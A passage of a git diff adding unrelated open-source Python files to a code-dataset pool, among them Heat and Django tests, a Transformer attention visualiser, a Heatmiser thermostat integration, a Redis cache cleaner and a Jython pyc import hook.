self.rsrc.action) + self.assertEqual(self.rsrc.COMPLETE, self.rsrc.status) + self.assertEqual(self.stack.CREATE, self.stack.action) + self.assertEqual(self.stack.COMPLETE, self.stack.status) + self.assertIsNone(self.stack.output('anything')) + + def test_none_stack_create(self): + self._create_none_stack() + + def test_none_stack_update_nochange(self): + self._create_none_stack() + before_refid = self.rsrc.FnGetRefId() + self.assertIsNotNone(before_refid) + utils.update_stack(self.stack, self.t) + self.assertEqual((self.stack.UPDATE, self.stack.COMPLETE), + self.stack.state) + self.assertEqual(before_refid, self.stack['none'].FnGetRefId()) + + def test_none_stack_update_add_prop(self): + self._create_none_stack() + before_refid = self.rsrc.FnGetRefId() + self.assertIsNotNone(before_refid) + new_t = self.t.copy() + new_t['resources']['none']['properties']['another'] = 123 + utils.update_stack(self.stack, new_t) + self.assertEqual((self.stack.UPDATE, self.stack.COMPLETE), + self.stack.state) + self.assertEqual(before_refid, self.stack['none'].FnGetRefId()) + + def test_none_stack_update_del_prop(self): + self._create_none_stack() + before_refid = self.rsrc.FnGetRefId() + self.assertIsNotNone(before_refid) + new_t = self.t.copy() + del(new_t['resources']['none']['properties']['ignored']) + utils.update_stack(self.stack, new_t) + self.assertEqual((self.stack.UPDATE, self.stack.COMPLETE), + self.stack.state) + self.assertEqual(before_refid, self.stack['none'].FnGetRefId()) diff --git a/pool/shard009/Python/0084388_attention.py b/pool/shard009/Python/0084388_attention.py new file mode 100644 index 0000000000000000000000000000000000000000..aa90649b99e5c9b3e9506616d62eeca5554f509e --- /dev/null +++ b/pool/shard009/Python/0084388_attention.py @@ -0,0 +1,163 @@ +# coding=utf-8 +# Copyright 2022 The Tensor2Tensor Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Module for postprocessing and displaying transformer attentions. + +This module is designed to be called from an ipython notebook. +""" + +import json +import os + +import IPython.display as display + +import numpy as np + +vis_html = """ + + Layer: + Attention: + +
+""" + + +__location__ = os.path.realpath( + os.path.join(os.getcwd(), os.path.dirname(__file__))) +vis_js = open(os.path.join(__location__, 'attention.js')).read() + + +def show(inp_text, out_text, enc_atts, dec_atts, encdec_atts): + enc_att, dec_att, encdec_att = (resize(enc_atts), + resize(dec_atts), resize(encdec_atts)) + attention = _get_attention( + inp_text, out_text, enc_att, dec_att, encdec_att) + att_json = json.dumps(attention) + _show_attention(att_json) + + +def _show_attention(att_json): + display.display(display.HTML(vis_html)) + display.display(display.Javascript('window.attention = %s' % att_json)) + display.display(display.Javascript(vis_js)) + + +def resize(att_mat, max_length=None): + """Normalize attention matrices and reshape as necessary.""" + for i, att in enumerate(att_mat): + # Add extra batch dim for viz code to work. + if att.ndim == 3: + att = np.expand_dims(att, axis=0) + if max_length is not None: + # Sum across different attention values for each token. + att = att[:, :, :max_length, :max_length] + row_sums = np.sum(att, axis=2) + # Normalize + att /= row_sums[:, :, np.newaxis] + att_mat[i] = att + return att_mat + + +def _get_attention(inp_text, out_text, enc_atts, dec_atts, encdec_atts): + """Compute representation of the attention ready for the d3 visualization. + + Args: + inp_text: list of strings, words to be displayed on the left of the vis + out_text: list of strings, words to be displayed on the right of the vis + enc_atts: numpy array, encoder self-attentions + [num_layers, batch_size, num_heads, enc_length, enc_length] + dec_atts: numpy array, decoder self-attentions + [num_layers, batch_size, num_heads, dec_length, dec_length] + encdec_atts: numpy array, encoder-decoder attentions + [num_layers, batch_size, num_heads, dec_length, enc_length] + + Returns: + Dictionary of attention representations with the structure: + { + 'all': Representations for showing all attentions at the same time. + 'inp_inp': Representations for showing encoder self-attentions + 'inp_out': Representations for showing encoder-decoder attentions + 'out_out': Representations for showing decoder self-attentions + } + and each sub-dictionary has structure: + { + 'att': list of inter attentions matrices, one for each attention head + 'top_text': list of strings, words to be displayed on the left of the vis + 'bot_text': list of strings, words to be displayed on the right of the vis + } + """ + def get_full_attention(layer): + """Get the full input+output - input+output attentions.""" + enc_att = enc_atts[layer][0] + dec_att = dec_atts[layer][0] + encdec_att = encdec_atts[layer][0] + enc_att = np.transpose(enc_att, [0, 2, 1]) + dec_att = np.transpose(dec_att, [0, 2, 1]) + encdec_att = np.transpose(encdec_att, [0, 2, 1]) + # [heads, query_length, memory_length] + enc_length = enc_att.shape[1] + dec_length = dec_att.shape[1] + num_heads = enc_att.shape[0] + first = np.concatenate([enc_att, encdec_att], axis=2) + second = np.concatenate( + [np.zeros((num_heads, dec_length, enc_length)), dec_att], axis=2) + full_att = np.concatenate([first, second], axis=1) + return [ha.T.tolist() for ha in full_att] + + def get_inp_inp_attention(layer): + att = np.transpose(enc_atts[layer][0], (0, 2, 1)) + return [ha.T.tolist() for ha in att] + + def get_out_inp_attention(layer): + att = np.transpose(encdec_atts[layer][0], (0, 2, 1)) + return [ha.T.tolist() for ha in att] + + def get_out_out_attention(layer): + att = np.transpose(dec_atts[layer][0], (0, 2, 1)) + return [ha.T.tolist() for ha in att] + + def get_attentions(get_attention_fn): + num_layers = len(enc_atts) + return [get_attention_fn(i) for i in range(num_layers)] + + attentions = { + 'all': { + 'att': get_attentions(get_full_attention), + 'top_text': inp_text + out_text, + 'bot_text': inp_text + out_text, + }, + 'inp_inp': { + 'att': get_attentions(get_inp_inp_attention), + 'top_text': inp_text, + 'bot_text': inp_text, + }, + 'inp_out': { + 'att': get_attentions(get_out_inp_attention), + 'top_text': inp_text, + 'bot_text': out_text, + }, + 'out_out': { + 'att': get_attentions(get_out_out_attention), + 'top_text': out_text, + 'bot_text': out_text, + }, + } + + return attentions diff --git a/pool/shard009/Python/0084394_zero_division_test.py b/pool/shard009/Python/0084394_zero_division_test.py new file mode 100644 index 0000000000000000000000000000000000000000..1a306ffcdb9dc4ddf95e5ed6a658059fb7050757 --- /dev/null +++ b/pool/shard009/Python/0084394_zero_division_test.py @@ -0,0 +1,56 @@ +# Copyright 2015 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for integer division by zero.""" + +from tensorflow.python.framework import constant_op +from tensorflow.python.framework import dtypes +from tensorflow.python.framework import errors +from tensorflow.python.framework import test_util +from tensorflow.python.platform import test + + +class ZeroDivisionTest(test.TestCase): + + def testZeros(self): + with test_util.use_gpu(): + for dtype in dtypes.uint8, dtypes.int16, dtypes.int32, dtypes.int64: + zero = constant_op.constant(0, dtype=dtype) + one = constant_op.constant(1, dtype=dtype) + bads = [lambda x, y: x // y] + if dtype in (dtypes.int32, dtypes.int64): + bads.append(lambda x, y: x % y) + for bad in bads: + try: + result = self.evaluate(bad(one, zero)) + except (errors.OpError, errors.InvalidArgumentError) as e: + # Ideally, we'd get a nice exception. In theory, this should only + # happen on CPU, but 32 bit integer GPU division is actually on + # CPU due to a placer bug. + # TODO(irving): Make stricter once the placer bug is fixed. + self.assertIn('Integer division by zero', str(e)) + else: + # On the GPU, integer division by zero produces all bits set. + # But apparently on some GPUs "all bits set" for 64 bit division + # means 32 bits set, so we allow 0xffffffff as well. This isn't + # very portable, so we may need to expand this list if other GPUs + # do different things. + # + # XLA constant folds integer division by zero to 1. + self.assertTrue(test.is_gpu_available()) + self.assertIn(result, (-1, 1, 2, 0xff, 0xffffffff)) + + +if __name__ == '__main__': + test.main() diff --git a/pool/shard009/Python/0084402_test.py b/pool/shard009/Python/0084402_test.py new file mode 100644 index 0000000000000000000000000000000000000000..b6d5a226021a2b4a49517dbe205a4d39037bbe72 --- /dev/null +++ b/pool/shard009/Python/0084402_test.py @@ -0,0 +1,66 @@ +import curses +import serial +import struct +import sys + +class Packet: + def __init__(self, raw): + self.channels = {} + self.raw = raw + self.parse() + + def parse(self): + self.packet = struct.unpack('BBBBBBBBBBBBBBBBB', self.raw) + ch = 1 + for i in xrange(4, 16, 2): + self.channels[ch] = { + 'low': self.packet[i], + 'high': self.packet[i+1] + } + ch += 1 + + def pretty(self): + stdscr.addstr(1, 0, " ") + stdscr.addstr(1, 0, "Packet: %d" % (self.packet[3])) + for ch in self.channels: + low = self.channels[ch]['low'] + high = self.channels[ch]['high'] + + high = int((high / 256.0) * 60) * "|" + + low = "+" if low is 1 else " " + stdscr.addstr(ch+4, 0, " "*80) + stdscr.addstr(ch+4, 0, "[Channel %d][%s] %s" % (ch, low, high), curses.color_pair(ch+1)) + stdscr.refresh() + +class Reader: + START_BYTE = '\xA5' + def __init__(self, dev): + self.ser = serial.Serial(dev, baudrate=57600, parity=serial.PARITY_NONE) + + def correct(self): + byte = self.ser.read() + while byte != self.START_BYTE: + byte = self.ser.read() + return Packet(byte + str(self.ser.read(16))) + + def loop(self): + data = self.ser.read(17) + while data: + data = self.ser.read(17) + if not data.startswith(self.START_BYTE): + yield self.correct() + else: + yield Packet(data) + +if __name__ == '__main__': + stdscr = curses.initscr() + curses.start_color() + curses.use_default_colors() + + for i in range(0, 7): + curses.init_pair(i+1, i, -1) + + r = Reader(sys.argv[1]) + for data in r.loop(): + data.pretty() diff --git a/pool/shard009/Python/0084403_climate.py b/pool/shard009/Python/0084403_climate.py new file mode 100644 index 0000000000000000000000000000000000000000..ff495706be77c05770434ff9873a5798062dd83d --- /dev/null +++ b/pool/shard009/Python/0084403_climate.py @@ -0,0 +1,117 @@ +""" +Support for the PRT Heatmiser themostats using the V3 protocol. + +For more details about this platform, please refer to the documentation at +https://home-assistant.io/components/climate.heatmiser/ +""" +import logging + +import voluptuous as vol + +from homeassistant.components.climate import ClimateDevice, PLATFORM_SCHEMA +from homeassistant.components.climate.const import ( + SUPPORT_TARGET_TEMPERATURE) +from homeassistant.const import ( + TEMP_CELSIUS, ATTR_TEMPERATURE, CONF_PORT, CONF_NAME, CONF_ID) +import homeassistant.helpers.config_validation as cv + +REQUIREMENTS = ['heatmiserV3==0.9.1'] + +_LOGGER = logging.getLogger(__name__) + +CONF_IPADDRESS = 'ipaddress' +CONF_TSTATS = 'tstats' + +TSTATS_SCHEMA = vol.Schema({ + vol.Required(CONF_ID): cv.string, + vol.Required(CONF_NAME): cv.string, +}) + +PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ + vol.Required(CONF_IPADDRESS): cv.string, + vol.Required(CONF_PORT): cv.port, + vol.Required(CONF_TSTATS, default={}): + vol.Schema({cv.string: TSTATS_SCHEMA}), +}) + + +def setup_platform(hass, config, add_entities, discovery_info=None): + """Set up the heatmiser thermostat.""" + from heatmiserV3 import heatmiser, connection + + ipaddress = config.get(CONF_IPADDRESS) + port = str(config.get(CONF_PORT)) + tstats = config.get(CONF_TSTATS) + + serport = connection.connection(ipaddress, port) + serport.open() + + for tstat in tstats.values(): + add_entities([ + HeatmiserV3Thermostat( + heatmiser, tstat.get(CONF_ID), tstat.get(CONF_NAME), serport) + ]) + + +class HeatmiserV3Thermostat(ClimateDevice): + """Representation of a HeatmiserV3 thermostat.""" + + def __init__(self, heatmiser, device, name, serport): + """Initialize the thermostat.""" + self.heatmiser = heatmiser + self.serport = serport + self._current_temperature = None + self._name = name + self._id = device + self.dcb = None + self.update() + self._target_temperature = int(self.dcb.get('roomset')) + + @property + def supported_features(self): + """Return the list of supported features.""" + return SUPPORT_TARGET_TEMPERATURE + + @property + def name(self): + """Return the name of the thermostat, if any.""" + return self._name + + @property + def temperature_unit(self): + """Return the unit of measurement which this thermostat uses.""" + return TEMP_CELSIUS + + @property + def current_temperature(self): + """Return the current temperature.""" + if self.dcb is not None: + low = self.dcb.get('floortemplow ') + high = self.dcb.get('floortemphigh') + temp = (high * 256 + low) / 10.0 + self._current_temperature = temp + else: + self._current_temperature = None + return self._current_temperature + + @property + def target_temperature(self): + """Return the temperature we try to reach.""" + return self._target_temperature + + def set_temperature(self, **kwargs): + """Set new target temperature.""" + temperature = kwargs.get(ATTR_TEMPERATURE) + if temperature is None: + return + self.heatmiser.hmSendAddress( + self._id, + 18, + temperature, + 1, + self.serport) + self._target_temperature = temperature + + def update(self): + """Get the latest data.""" + self.dcb = self.heatmiser.hmReadAddress(self._id, 'prt', self.serport) diff --git a/pool/shard009/Python/0084414_test_untag_branched.py b/pool/shard009/Python/0084414_test_untag_branched.py new file mode 100644 index 0000000000000000000000000000000000000000..48e3710ff522186d8a3a644ac3217b3daa64066d --- /dev/null +++ b/pool/shard009/Python/0084414_test_untag_branched.py @@ -0,0 +1,42 @@ +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +""" +This module contains tests for the bodhi.server.scripts.untag_branched module. +""" +from cStringIO import StringIO + +from mock import patch + +from bodhi.server.scripts import untag_branched +from bodhi.tests.server.base import BaseTestCase + + +class TestUsage(BaseTestCase): + """ + This class contains tests for the usage() function. + """ + @patch('sys.exit') + @patch('sys.stdout', new_callable=StringIO) + def test_usage(self, stdout, exit): + """ + Make sure the usage info is printed and then it exits. + """ + argv = ['untag_branched'] + + untag_branched.usage(argv) + + self.assertEqual( + stdout.getvalue(), + 'usage: untag_branched \n(example: "untag_branched development.ini")\n') + exit.assert_called_once_with(1) diff --git a/pool/shard009/Python/0084421_messages.py b/pool/shard009/Python/0084421_messages.py new file mode 100644 index 0000000000000000000000000000000000000000..b6475ba2f79b344d46ba6138eb81c815ba0ef831 --- /dev/null +++ b/pool/shard009/Python/0084421_messages.py @@ -0,0 +1,64 @@ +# coding: utf-8 + + +from django.conf import settings +from django.contrib.sites.shortcuts import get_current_site +from django.core.mail import EmailMultiAlternatives, EmailMessage +from django.template import RequestContext, TemplateDoesNotExist +from django.template.loader import render_to_string +from django.utils.translation import ugettext_lazy as _ + + +class SendMailException(Exception): + pass + + +def send_transaction_mail(user, template_name, request=None, site=None, + template_base="mails/{}.{}", + subject_template_base="mails/{}-subject.txt", + **context): + if request is not None: + context = RequestContext(request, context) + site = get_current_site(request) + + context.update({'user': user, 'site': site}) + + subject = render_to_string(subject_template_base.format(template_name, "txt"), context) + subject = ''.join(subject.splitlines()) + + from_email = settings.DEFAULT_FROM_EMAIL + message_txt = render_to_string(template_base.format(template_name, "txt"), context) + email_message = EmailMultiAlternatives(subject, message_txt, from_email, [user.email]) + + try: + message_html = render_to_string(template_base.format(template_name, "html"), context) + except TemplateDoesNotExist: + pass + else: + email_message.attach_alternative(message_html, 'text/html') + + email_message.send(fail_silently=not settings.DEBUG) + + +def send_contact_mail(instance, created, **kwargs): + if not created: + return + + template = _( + "Contact From: {instance.name} <{instance.email}>\n" + "Phone: {instance.phone}\n" + "Message:\n" + "{instance.message}\n" + "URL: http://{domain}{instance.admin_url}\n" + ) + + domain = settings.PROJECT_DOMAIN + email = EmailMessage( + subject=_("New Contact from %s") % (settings.PROJECT_NAME,), + body=template.format(domain=domain, instance=instance), + from_email=settings.PROJECT_CONTACT, + to=[settings.PROJECT_CONTACT], + headers={"Reply-To": instance.email}, + ) + + email.send(fail_silently=not settings.DEBUG) diff --git a/pool/shard009/Python/0084424_clear_neg_cache.py b/pool/shard009/Python/0084424_clear_neg_cache.py new file mode 100644 index 0000000000000000000000000000000000000000..260cb6886b457320ac4a3d54d14b7bf0f81d7ec3 --- /dev/null +++ b/pool/shard009/Python/0084424_clear_neg_cache.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python +# encoding: utf-8 +import redis +import warnings +import time + +warnings.filterwarnings('ignore', category=DeprecationWarning) + +r = redis.Redis(host='127.0.0.1', port=6379, db=0) +keys = r.keys('negative_cache:*') +print('Removing %d keys' % len(keys)) +for key in keys: + time.sleep(0.5) + r.delete(key) diff --git a/pool/shard009/Python/0084429_pycimport.py b/pool/shard009/Python/0084429_pycimport.py new file mode 100644 index 0000000000000000000000000000000000000000..bf7f308a2f518a25a59689ab34c1e0c761c07de6 --- /dev/null +++ b/pool/shard009/Python/0084429_pycimport.py @@ -0,0 +1,95 @@ +import imp +import os +import sys +from marshal import Unmarshaller + +__debugging__ = False + +# Todo: This should be stored in a central place. +supported_magic = 62211 # CPython 2.7 + +def __readPycHeader(file): + def read(): + return ord(file.read(1)) + magic = read() | (read()<<8) + if not ( file.read(1) == '\r' and file.read(1) == '\n' ): + raise TypeError("not valid pyc-file") + mtime = read() | (read()<<8) | (read()<<16) | (read()<<24) + return magic, mtime + +def __makeModule(name, code, path): + module = sys.modules.get(name) + if not module: + module = sys.modules[name] = imp.new_module(name) + module.__file__ = path + exec code in module.__dict__ + return module + +class __Importer(object): + def __init__(self, path): + if __debugging__: print "Importer invoked" + self.__path = path + + def find_module(self, fullname, path=None): + if __debugging__: + print "Importer.find_module(fullname=%s, path=%s)" % ( + repr(fullname), repr(path)) + path = fullname.split('.') + filename = path[-1] + path = path[:-1] + pycfile = os.path.join(self.__path, *(path + [filename + '.pyc'])) + pyfile = os.path.join(self.__path, *(path + [filename + '.py'])) + if os.path.exists(pycfile): + f = open(pycfile, 'rb') + try: + magic, mtime = __readPycHeader(f) + except: + return None # abort! not a valid pyc-file + f.close() + # Todo: This check should also be in Unmarshaller + if magic != supported_magic: + return None # bytecode version mismatch + if os.path.exists(pyfile): + pytime = os.stat(pyfile).st_mtime + if pytime > mtime: + return None # abort! py-file was newer + return self + else: + return None # abort! pyc-file does not exist + + def load_module(self, fullname): + path = fullname.split('.') + path[-1] += '.pyc' + filename = os.path.join(self.__path, *path) + f = open(filename, 'rb') + magic, mtime = __readPycHeader(f) + if magic != supported_magic: + if __debugging__: print "Unsupported bytecode version:", fullname + return None + #code = Unmarshaller(f, magic=magic).load() + code = Unmarshaller(f).load() + if __debugging__: print "Successfully loaded:", fullname + return __makeModule( fullname, code, filename ) + +class __MetaImporter(object): + def __init__(self): + self.__importers = {} + + def find_module(self, fullname, path): + if __debugging__: print "MetaImporter.find_module(%s, %s)" % ( + repr(fullname), repr(path)) + for _path in sys.path: + if _path not in self.__importers: + try: + self.__importers[_path] = __Importer(_path) + except: + self.__importers[_path] = None + importer = self.__importers[_path] + if importer is not None: + loader = importer.find_module(fullname, path) + if loader is not None: + return loader + else: + return None + +sys.meta_path.insert(0, __MetaImporter()) diff --git a/pool/shard009/Python/0084435_config.py b/pool/shard009/Python/0084435_config.py new file mode 100644 index 0000000000000000000000000000000000000000..7d1e4da2cd4fc61b2643c6459227347fb58aa87c --- /dev/null +++ b/pool/shard009/Python/0084435_config.py @@ -0,0 +1,80 @@ +""" + Written by Nathan Fritz and Lance Stout. Copyright 2011 by &yet, LLC. + Released under the terms of the MIT License +""" + +import json +import threading +import uuid + + +class ConfigCache(object): + + """ + The ConfigCache class stores an in-memory version of each + feed's configuration. As there may be multiple systems using + Thoonk with the same Redis server, and each with its own + ConfigCache instance, each ConfigCache has a self.instance + field to uniquely identify itself. + + Attributes: + thoonk -- The main Thoonk object. + instance -- A hex string for uniquely identifying this + ConfigCache instance. + + Methods: + invalidate -- Force a feed's config to be retrieved from + Redis instead of in-memory. + """ + + def __init__(self, thoonk): + """ + Create a new configuration cache. + + Arguments: + thoonk -- The main Thoonk object. + """ + self._feeds = {} + self.thoonk = thoonk + self.lock = threading.Lock() + self.instance = uuid.uuid4().hex + + def __getitem__(self, feed): + """ + Return a feed object for a given feed name. + + Arguments: + feed -- The name of the requested feed. + """ + with self.lock: + if feed in self._feeds: + return self._feeds[feed] + else: + if not self.thoonk.feed_exists(feed): + raise FeedDoesNotExist + config = self.thoonk.redis.get('feed.config:%s' % feed) + config = json.loads(config) + feed_type = config.get(u'type', u'feed') + feed_class = self.thoonk.feedtypes[feed_type] + self._feeds[feed] = feed_class(self.thoonk, feed, config) + return self._feeds[feed] + + def invalidate(self, feed, instance, delete=False): + """ + Delete a configuration so that it will be retrieved from Redis + instead of from the cache. + + Arguments: + feed -- The name of the feed to invalidate. + instance -- A UUID identifying the cache which made the + invalidation request. + delete -- Indicates if the entire feed object should be + invalidated, or just its configuration. + """ + if instance != self.instance: + with self.lock: + if feed in self._feeds: + if delete: + del self._feeds[feed] + else: + del self._feeds[feed].config diff --git a/pool/shard009/Python/0084444_basic.py b/pool/shard009/Python/0084444_basic.py new file mode 100644 index 0000000000000000000000000000000000000000..d0fd51c20e0122f8bb71dce53040eb17ac303c29 --- /dev/null +++ b/pool/shard009/Python/0084444_basic.py @@ -0,0 +1,57 @@ +import asyncio +from asyncio import coroutine as coro +import random +from broadway import Actor, Props, ActorSystem + + +class DummyActor(Actor): + def __init__(self, name, partner=None): + super().__init__() + self.name = name + self.partner = partner + + @coro + def receive(self, message): + delayed = random.random() / 100 + yield from asyncio.sleep(delayed) + print("%s %s delayed %2.1f ms" % (self.name, message, delayed * 1000)) + if self.partner: + yield from self.partner.tell(message) + +class EchoActor(Actor): + def __init__(self, name, partner=None): + super().__init__() + self.name = name + + @coro + def receive(self, message): + yield from self.sender.tell("%s %s" % (self.name, message)) + +@coro +def task(system, forwarder, dummy, echoer): + for count in range(1, 101): + seed = random.random() + if seed < 0.3: + yield from forwarder.tell("actor %s" % count) + elif seed < 0.6: + yield from dummy.tell("actor %s" % count) + else: + message = yield from echoer.ask("actor %s" % count) + print(message) + yield from asyncio.sleep(0.001) + yield from asyncio.sleep(0.1) + yield from system.stop() + + +def main(): + system = ActorSystem() + forwardee = system.actor_of(Props(DummyActor, "forwardee")) + forwarder = system.actor_of(Props(DummyActor, "forwarder", forwardee)) + dummy = system.actor_of(Props(DummyActor, "dummy ")) + echoer = system.actor_of(Props(EchoActor, "echoer ")) + + coro = task(system, forwarder, dummy, echoer) + system.run_until_stop([coro], exit_after=True) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/pool/shard009/Python/0084449_test_membership.py b/pool/shard009/Python/0084449_test_membership.py new file mode 100644 index 0000000000000000000000000000000000000000..4813cf854d429fa0db2246441da6bd3278009f05 --- /dev/null +++ b/pool/shard009/Python/0084449_test_membership.py @@ -0,0 +1,105 @@ +from datetime import timedelta, date +import itertools + +from django.urls import reverse + +from .base import TestBase +from ..models import Membership, Organization, Event + + +class TestMembership(TestBase): + def setUp(self): + super().setUp() + self._setUpUsersAndLogin() + + # let's add a membership for one of the organizations + self.current = Membership.objects.create( + variant='partner', + agreement_start=date(2015, 1, 1), + agreement_end=date(2015, 12, 31), + contribution_type='financial', + workshops_without_admin_fee_per_year=10, + self_organized_workshops_per_year=20, + organization=self.org_beta, + ) + + self_organized_admin = Organization.objects.get(domain='self-organized') + + # let's add a few events for that organization + type_ = itertools.cycle(['self-organized', 'no-fee', 'self-organized']) + for i in range(20): + next_type = next(type_) + + if next_type == 'self-organized': + Event.objects.create( + slug='event-under-umbrella{}'.format(i), + host=self.org_beta, + # create each event starts roughly month later + start=date(2015, 1, 1) + i * timedelta(days=31), + end=date(2015, 1, 2) + i * timedelta(days=31), + administrator=self_organized_admin, + ) + + elif next_type == 'no-fee': + Event.objects.create( + slug='event-under-umbrella{}'.format(i), + host=self.org_beta, + # create each event starts roughly month later + start=date(2015, 1, 1) + i * timedelta(days=31), + end=date(2015, 1, 2) + i * timedelta(days=31), + # just to satisfy the criteria + administrator=self.org_beta, + admin_fee=0, + ) + # above code should create 11 events that start in 2015: + # self-organized, no-fee, self-organized, self-organized, no-fee, + # self-organized, self-organized, no-fee, self-organized, + # self-organized, no-fee, self-organized, + + def test_multiple_memberships(self): + """Ensure we can have multiple memberships (even overlapping).""" + overlapping = Membership.objects.create( + variant='partner', + agreement_start=date(2015, 7, 1), + agreement_end=date(2016, 6, 30), + contribution_type='financial', + workshops_without_admin_fee_per_year=10, + self_organized_workshops_per_year=20, + organization=self.org_beta, + ) + + self.assertIn(self.current, self.org_beta.membership_set.all()) + self.assertIn(overlapping, self.org_beta.membership_set.all()) + + def test_workshops_without_admin_fee(self): + """Ensure we calculate properly number of workshops per year.""" + self.assertEqual( + self.current.workshops_without_admin_fee_per_year, 10) + self.assertEqual( + self.current.workshops_without_admin_fee_per_year_completed, 4) + self.assertEqual( + self.current.workshops_without_admin_fee_per_year_remaining, 6) + + def test_self_organized_workshops(self): + """Ensure we calculate properly number of workshops per year.""" + self.assertEqual( + self.current.self_organized_workshops_per_year, 20) + self.assertEqual( + self.current.self_organized_workshops_per_year_completed, 8) + self.assertEqual( + self.current.self_organized_workshops_per_year_remaining, 12) + + def test_delete_membership(self): + '''Test that we can delete membership instance''' + response = self.client.post( + reverse('membership_delete', args=[self.current.pk]), + follow=True + ) + self.assertRedirects( + response, + reverse('organization_details', args=[self.current.organization.domain]), + ) + self.assertFalse(response.context['organization'].membership_set.all()) + self.assertEqual(response.context['organization'].membership_set.count(), 0) + with self.assertRaises(Membership.DoesNotExist): + self.current.refresh_from_db() diff --git a/pool/shard009/Python/0084463_file_v1_generated_cloud_filestore_manager_create_backup_sync.py b/pool/shard009/Python/0084463_file_v1_generated_cloud_filestore_manager_create_backup_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..2ce9ff311dbb2733e87fc460c9290ade67feb925 --- /dev/null +++ b/pool/shard009/Python/0084463_file_v1_generated_cloud_filestore_manager_create_backup_sync.py @@ -0,0 +1,50 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for CreateBackup +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-filestore + + +# [START file_v1_generated_CloudFilestoreManager_CreateBackup_sync] +from google.cloud import filestore_v1 + + +def sample_create_backup(): + # Create a client + client = filestore_v1.CloudFilestoreManagerClient() + + # Initialize request argument(s) + request = filestore_v1.CreateBackupRequest( + parent="parent_value", + backup_id="backup_id_value", + ) + + # Make the request + operation = client.create_backup(request=request) + + print("Waiting for operation to complete...") + + response = operation.result() + + # Handle the response + print(response) + +# [END file_v1_generated_CloudFilestoreManager_CreateBackup_sync] diff --git a/pool/shard009/Python/0084466_0057_auto_20150709_1223.py b/pool/shard009/Python/0084466_0057_auto_20150709_1223.py new file mode 100644 index 0000000000000000000000000000000000000000..0bec70f037fa4ade01fe0af497fb3b6b33a15d8e --- /dev/null +++ b/pool/shard009/Python/0084466_0057_auto_20150709_1223.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import models, migrations +import django.contrib.gis.db.models.fields + + +class Migration(migrations.Migration): + + dependencies = [ + ('lizard_efcis', '0056_auto_20150708_1015'), + ] + + operations = [ + migrations.AlterModelOptions( + name='importmapping', + options={'ordering': ['tabel_naam', 'code'], 'verbose_name': 'importmapping', 'verbose_name_plural': 'importmappings'}, + ), + migrations.AddField( + model_name='locatie', + name='area', + field=django.contrib.gis.db.models.fields.PolygonField(srid=4326, null=True, editable=False, blank=True), + preserve_default=True, + ), + ] diff --git a/pool/shard009/Python/0084469_pyupio_safety.py b/pool/shard009/Python/0084469_pyupio_safety.py new file mode 100644 index 0000000000000000000000000000000000000000..309c8c9f85948100e2c8cdd339d60dcbb2353def --- /dev/null +++ b/pool/shard009/Python/0084469_pyupio_safety.py @@ -0,0 +1,23 @@ +"""Pyupio Safety source.""" + +from ..meta.source import Source +from ..parameters import access_parameters + + +PYUPIO_SAFETY = Source( + name="Pyupio Safety", + description="Safety checks Python dependencies for known security vulnerabilities.", + url="https://github.com/pyupio/safety", + parameters=access_parameters(["security_warnings"], source_type="Safety report", source_type_format="JSON"), + entities=dict( + security_warnings=dict( + name="security warning", + attributes=[ + dict(name="Package"), + dict(name="Installed"), + dict(name="Affected"), + dict(name="Vulnerability"), + ], + ), + ), +) diff --git a/pool/shard009/Python/0084470_LinuxFileOpener.py b/pool/shard009/Python/0084470_LinuxFileOpener.py new file mode 100644 index 0000000000000000000000000000000000000000..69d1c77f6615ea0050101defc0be14dac53c5a16 --- /dev/null +++ b/pool/shard009/Python/0084470_LinuxFileOpener.py @@ -0,0 +1,105 @@ +import os, subprocess, sys +#from ProcessThread import * +import getpass + +if sys.platform != 'win32': + document_location = os.path.join('/home',getpass.getuser(),'.Searcher') + if not os.path.isdir(document_location): + os.mkdir(document_location) +else: + document_location = os.path.join('C:\\Users',getpass.getuser(),'Documents','Searcher') + if not os.path.isdir(document_location): + os.mkdir(document_location) + +default_applications = os.path.join(document_location,'default applications.txt') +mimeapplist = os.path.join('/home',getpass.getuser(), '.local','share','applications','mimeapps.list') + + +class LinuxFileOpener(): + def __init__(self): + self.app_dict = {} + if os.path.isfile(default_applications): + self.importAppDict() + else: + self.importMimeList() + + def importMimeList(self): + mime = open(mimeapplist,'r') + app_dict = open(default_applications,'w+') + for line in mime: + if 